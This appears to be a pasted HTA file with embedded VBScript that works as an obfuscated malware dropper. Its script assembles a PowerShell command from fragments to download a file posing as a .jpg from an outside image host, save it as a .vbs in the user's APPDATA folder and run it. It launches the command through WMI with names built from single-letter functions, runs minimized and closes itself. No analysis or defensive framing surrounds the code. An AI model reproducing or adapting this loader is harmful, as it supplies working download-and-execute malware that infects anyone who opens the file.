Untitled

<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SYSMENU="no"  CAPTION="no" />
<SCRIPT Language="VBScript">

patototototottotootot = "Powershell $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://e.top4top.io/p_1636ewqhj1.jpg'',$env:APPDATA+''\\''+''patototot.vbs'')'|D; start-process($env:APPDATA+'\\'+'patototot.vbs')"


At(patototototottotootot)


 Function At(fgfjhfgfg As String)

Set LOKFDGLJGKLFG = CreateObject(TC2())
Set DE7H00WEGFDG = LOKFDGLJGKLFG.Methods_(TC()). _
    InParameters.SpawnInstance_

DE7H00WEGFDG.CommandLine = fgfjhfgfg
Set SAD00G0FD0WEWER = LOKFDGLJGKLFG.ExecMethod_(TC(), DE7H00WEGFDG)


End Function

Function TC()

TC = c1 & c2 & c3 & c4 & c5 & c3
End Function

Function TC2()
TC2 = c6 & c7 & c8 & c9 & c10 & c9 & c5 & c11 & ":" & c6 & c7 & c8 & "32_" & "Process"
End Function
Function c1()
c1 = "c"
End Function


Function c2()
c2 = "r"
End Function

Function c3()
c3 = "e"
End Function

Function c4()
c4 = "a"
End Function

Function c5()
c5 = "t"
End Function


Function c6()
c6 = "w"
End Function
Function c7()
c7 = "i"
End Function
Function c8()
c8 = "n"
End Function
Function c9()
c9 = "m"
End Function
Function c10()
c10 = "g"
End Function
Function c11()
c11 = "s"
End Function

self.close
</SCRIPT>
</body>
</html>